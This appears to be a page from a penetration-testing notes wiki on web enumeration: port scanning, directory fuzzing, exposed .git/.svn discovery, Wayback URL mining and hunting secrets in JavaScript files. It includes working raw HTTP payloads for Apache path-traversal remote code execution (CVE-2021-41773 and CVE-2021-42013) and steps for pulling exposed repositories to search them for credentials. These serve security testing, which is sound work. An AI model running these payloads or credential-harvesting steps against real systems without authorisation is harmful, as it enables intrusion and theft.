Web Enumeration

Recon

Also check for other exposed ports. Ex: 22, look for regsshion, etc. See Protocols

nmap -p 80,443,8000,8080,8180,8888,1000 --open -oA web_discovery -iL scope_list

EyeWitness or Aquatone - See Information Gathering

SSL

HTTP/2 - DoS

Basic vulnerability scanning to see if web servers may be vulnerable to CVE-2023-44487

HTTP Methods

Apache Vulnerability Testing

CVE-2021-41773 (RCE and LFI)

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Content-Length: 7
Content-Type: application/x-www-form-urlencoded
Connection: close

echo;id

CVE-2021-42013 (RCE and LFI)

POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

echo;id

Header Exploit

Common files

/.git
/.gitkeep
/.git-rewrite
/.gitreview
/.git/HEAD
/.gitconfig
/.git/index
/.git/logs
/.svnignore
/.gitattributes
/.gitmodules
/.svn/entries

robots.txt

-> robofinder: search for and retrieve historical robots.txt files from Archive.org for any given website.

.git

.svn

.DS_Store

# python ds_store_exp.py http://10.13.X.X/.DS_Store   
[200] http://10.13.X.X/.DS_Store
[200] http://10.13.X.X/JS/.DS_Store
[200] http://10.13.X.X/Images/.DS_Store
[200] http://10.13.X.X/dev/.DS_Store
<--SNIP-->

Misconfigurations on popular third-party services

Git Exposed

Nuclei Template: https://github.com/coffinxp/priv8-Nuclei/blob/main/git-exposed.yaml

id: git-exposed

info:
  name: Exposed Git Repository
  author: kaks3c
  severity: medium
  description: |
    Checks for exposed Git repositories by making requests to potential Git repository paths.
  tags: p3,logs,git

http:
  - raw:
      - |
        GET {{BaseURL}}{{path}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:119.0) Gecko/20100101 Firefox/119.0
        Accept: */*
        Accept-Language: en-US,en;q=0.5
        Connection: close

    attack: pitchfork
    payloads:
      path:
        - /.git/
        - /.git/HEAD
        - /.git/config
        - /.git/logs/HEAD
        - /.git/logs/
        - /.git/description
        - /.git/refs/heads/
        - /.git/refs/remotes/
        - /.git/objects/

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "commit (initial): Initial commit" #/.git/logs/HEAD
          - "ref: refs/heads/" #/.git/HEAD
          - "logallrefupdates = true" #/.git/config
          - "repositoryformatversion = 0" #/.git/config
          - "Index of /" #/.git/
          - "You do not have permission to access /.git/" #403_/.git
          - "Unnamed repository; edit this file 'description' to name the repository" #/.git/description

      - type: regex
        regex:
          - "info/\\s+\\d{4}-\\d{2}-\\d{2}\\s+\\d{2}:\\d{2}" #/.git/objects/
          - "pack/\\s+\\d{4}-\\d{2}-\\d{2}\\s+\\d{2}:\\d{2}" #/.git/objects/
          - "master/\\s+\\d{4}-\\d{2}-\\d{2}\\s+\\d{2}:\\d{2}" #/.git/refs/heads/
          - "origin/\\s+\\d{4}-\\d{2}-\\d{2}\\s+\\d{2}:\\d{2}" #/.git/refs/remotes/
          - "refs/\\s+\\d{4}-\\d{2}-\\d{2}\\s+\\d{2}:\\d{2}"  #/.git/logs/

    stop-at-first-match: true

.git found => download the target .git folder

wget -r -np -nH --cut-dirs=1 -R "index.html*" http://dev.dumpme.htb/.git/

Or with tools:

The best tool is goop

$ git clone https://github.com/deletescape/goop
$ cd goop
$ go build
$ ./goop http://dev.dumpme.htb

After that, search for creds, etc:

SVN Expoxed

./svn-extractor.py --url http://url.com --match database.php

PHPMyAdmin

target[.]com/phpmyadmin/setup/index.php ==> 301 to login page

target[.]com/phpMyAdmin/setup/index.php ==> 200 to phpmyadmin setup

WSAAR

OWASP Noir

$ noir -b . -u http://example.com
$ noir -b . -u http://example.com --passive-scan

Wayback Machine

# RECON METHOD BY ~/.COFFINXP

https://web.archive.org/cdx/search/cdx?url=*.example.com/*&collapse=urlkey&output=text&fl=original

curl -G "https://web.archive.org/cdx/search/cdx" --data-urlencode "url=*.example.com/*" --data-urlencode "collapse=urlkey" --data-urlencode "output=text" --data-urlencode "fl=original" > out.txt

cat out.txt | uro |  grep -E '\.xls|\.xml|\.xlsx|\.json|\.pdf|\.sql|\.doc|\.docx|\.pptx|\.txt|\.zip|\.tar\.gz|\.tgz|\.bak|\.7z|\.rar|\.log|\.cache|\.secret|\.db|\.backup|\.yml|\.gz|\.config|\.csv|\.yaml|\.md|\.md5|\.exe|\.dll|\.bin|\.ini|\.bat|\.sh|\.tar|\.deb|\.rpm|\.iso|\.img|\.apk|\.msi|\.dmg|\.tmp|\.crt|\.pem|\.key|\.pub|\.asc'

Backup Files

ffuf -w subdomains.txt:SUB -w payloads/backup_files_only.txt:FILE -u https://SUB/FILE -mc 200 -rate 50  -fs 0 -c -x http://localip:8080

Fuzzili

echo http://target.com | fuzzuli -p

Burp Extension

Archived Backups

Look for metadata

Extract URLs and paths from web pages

Manually

javascript:(function(){var scripts=document.getElementsByTagName("script"),regex=/(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))/g;const results=new Set;for(var i=0;i<scripts.length;i++){var t=scripts[i].src;""!=t&&fetch(t).then(function(t){return t.text()}).then(function(t){var e=t.matchAll(regex);for(let r of e)results.add(r[0])}).catch(function(t){console.log("An error occurred: ",t)})}var pageContent=document.documentElement.outerHTML,matches=pageContent.matchAll(regex);for(const match of matches)results.add(match[0]);function writeResults(){results.forEach(function(t){document.write(t+"<br>")})}setTimeout(writeResults,3e3);})();

Open Console (ctrl + shift + i) + Allow pasting ("autoriser le collage") + copy paste JS code + click on bookmark

Source: NahamCon2024: .js Files Are Your Friends | @zseano https://www.youtube.com/watch?v=fQoxjBwQZUA

Crawling

Gourlex

gourlex -t domain.com

xnLinkFinder

xnLinkfinder -i bugcrowd.com -sp https://www.bugcrowd.com -sf "bugcrowd.*" -d2 -v

Command breakdown:

-i http://bugcrowd.com  → Target domain 
-sp https://bugcrowd.com  → Scope prefix 
-sf "bugcrowd.*" → Scope filter 
-d 2 → Crawl depth 
https://github.com/mhmdiaa/chronos
-v → Verbose output

Hakrawler

echo https://google.com | hakrawler

Waybackurls

Katana & Urlfinder

katana -u https://tesla.com

urlfinder -d tesla.com

GetAllURL - gau

gau https://target.com

LinkFinder

python3 linkfinder.py -i https://example.com/app.js

$ python linkfinder.py -i 'js/*' -o result.html
$ python linkfinder.py -i 'js/*' -o cli

LazyEgg

ReconSpider

See Fingerprinting / Crawling

Metadata

JS Files

Sensitive JS Files

ffuf -w subdomains.txt:SUB -w payloads/senstivejs.txt:FILE -u https://SUB/FILE -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0" -fs 0 -c -mc 200 -fr false -rate 10 -t 10

/js/config.js
/js/credentials.js
/js/secrets.js
/js/keys.js
/js/password.js
/js/api_keys.js
/js/auth_tokens.js
/js/access_tokens.js
/js/sessions.js
/js/authorization.js 
/js/encryption.js
/js/certificates.js
/js/ssl_keys.js
/js/passphrases.js 
/js/policies.js
/js/permissions.js 
/js/privileges.js
/js/hashes.js
/js/salts.js
/js/nonces.js
/js/signatures.js
/js/digests.js
/js/tokens.js
/js/cookies.js
/js/topsecr3tdonotlook.js

Burp

Source: NahamCon2024: .js Files Are Your Friends | @zseano https://www.youtube.com/watch?v=fQoxjBwQZUA

wget -i urls.txt

Detect secrets

./trufflehog filesystem ~/Downloads/js --no-verification --include-detectors="all"

Burp Extension

Code Analysis

semgrep scan --config auto

JSFScan.sh

1 - Gather Jsfile Links from different sources.
2 - Import File Containing JSUrls
3 - Extract Endpoints from Jsfiles
4 - Find Secrets from Jsfiles
5 - Get Jsfiles store locally for manual analysis
6 - Make a Wordlist from Jsfiles
7 - Extract Variable names from jsfiles for possible XSS.
8 - Scan JsFiles For DomXSS.
9 - Generate Html Report.

bash JFScan.sh -l target.txt --all -r -o outputdir

Morgan

Identify sensitive information, vulnerabilities, and potential risks within JavaScript files on websites

Gouge - Burp extension to extract URLs which are seen in JS files

GetJS

JSHunter

Endpoint Extraction and Sensitive Data Detection

cat urls.txt | grep "\.js" | jshunter

Javascript Deobfuscator

Online

API Endpoint in JS File

cat file.js | grep -aoP "(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))" | sort -u

JSNinja

JS Link Finder

Jsluice

Sensitive data in JS Files

Top 25 JavaScript path files used to store sensitive information

/js/config.js
/js/credentials.js
/js/secrets.js
/js/keys.js
/js/password.js
/js/api_keys.js
/js/auth_tokens.js
/js/access_tokens.js
/js/sessions.js
/js/authorization.js 
/js/encryption.js
/js/certificates.js
/js/ssl_keys.js
/js/passphrases.js 
/js/policies.js
/js/permissions.js 
/js/privileges.js
/js/hashes.js
/js/salts.js
/js/nonces.js
/js/signatures.js
/js/digests.js
/js/tokens.js
/js/cookies.js
/js/topsecr3tdonotlook.js

JS Miner - Burp Extension

X-Keys - Burp Extension

jsluice++ - Burp Extension

SecretFinder

Mantra

Testing API Key

Google Maps API Key

Hidden Parameter

This useful option in Burp Suite makes every hidden input field (often with a reference to a hidden parameter) visible

Proxy Settings >>> Response modification rules >>> Unhide hidden form fields

Parameters fuzzing

x8

Hidden parameters discovery

Arjun

$ python3 /opt/Arjun/arjun.py -u http://target_address.com

$ python3 /opt/Arjun/arjun.py -u http://target_address.com -o arjun_results.json

If you’ve been proxying traffic with Burp Suite, you can select all URLs within the sitemap, use the Copy Selected URLs option, and paste that list to a text file. Then run Arjun against all Burp Suite targets simultaneously, like this:

$ python3 /opt/Arjun/arjun.py -i burp_targets.txt

Parmahunter

Wordlists

Try /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt first, then https://github.com/Karanxa/Bug-Bounty-Wordlists/blob/main/fuzz.txt

dirb lists
https://wordlists.assetnote.io/
SecList: https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content
BugBounty All Fuzz: https://raw.githubusercontent.com/Karanxa/Bug-Bounty-Wordlists/refs/heads/main/all_fuzz.txt
Common extensions: raft-[ small | medium | large ]-extensions.txt from SecList Web-Content
Create wordlist - CeWL

cewl -m5 --lowercase -w wordlist.txt http://192.168.10.10

Fuzz using different HTTP methods

ffuf -u https://api.example.com/PATH -X METHOD -w /path/to/wordlist:PATH -w /path/to/http_methods:METHOD

Admin interfaces

Backups

Config files

SQL files

Vulnerability Assessment

sudo nmap 10.129.2.28 -p 80 -sV --script vuln 

Nmap scan report for 10.129.2.28
Host is up (0.036s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-enum:
|   /wp-login.php: Possible admin folder
|   /readme.html: Wordpress version: 2
|   /: WordPress version: 5.3.4
|   /wp-includes/images/rss.png: Wordpress version 2.2 found.
|   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
|   /wp-includes/images/blank.gif: Wordpress version 2.6 found.
|   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
|   /wp-login.php: Wordpress login page.
|   /wp-admin/upgrade.php: Wordpress login page.
|_  /readme.html: Interesting, a readme.
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-wordpress-users:
| Username found: admin
|_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit'
| vulners:
|   cpe:/a:apache:http_server:2.4.29:
|     	CVE-2019-0211	7.2	https://vulners.com/cve/CVE-2019-0211
|     	CVE-2018-1312	6.8	https://vulners.com/cve/CVE-2018-1312
|     	CVE-2017-15715	6.8	https://vulners.com/cve/CVE-2017-15715

Lostfuzzer

Admin interface

CMS

Crawling

Crawl with 2 separate user-agent

Always crawl with 2 separate user-agent headers, one for desktop and one for mobile devices and look for response changes!

gospider -s "http://app.example.com" -c 3 --depth 3 --no-redirect --user-agent "Mozilla/5.0 (iPhone; CPU iPhone OS 15_1_1 like Mac OS X..." -o mobile_endpoints.txt

Gospider

Hakrawler

With Burp

With Zap

sudo snap install zaproxy --classic

Spidering

Fuzzing

Fuzz

Wordlists

gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt

ffuf -recursion -recursion-depth 1 -u http://192.168.10.10/FUZZ -w /opt/useful/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt

ffuf -w ./folders.txt:FOLDERS,./wordlist.txt:WORDLIST,./extensions.txt:EXTENSIONS -u http://192.168.10.10/FOLDERS/WORDLISTEXTENSIONS

Admin interface=> Password guessing

CMS

Banner grabbing

curl -IL https://www.inlanefreight.com

Tool: https://github.com/FortyNorthSecurity/EyeWitness ; or Aquatone

whatweb 10.10.10.121
whatweb --no-errors 10.10.10.0/24

DNS Subdomain Enumeration

Cloudflare Bypass for Web Scraping

PreviousAvoid Aggressive Scanning NextFuzzing

Last updated 12 days ago

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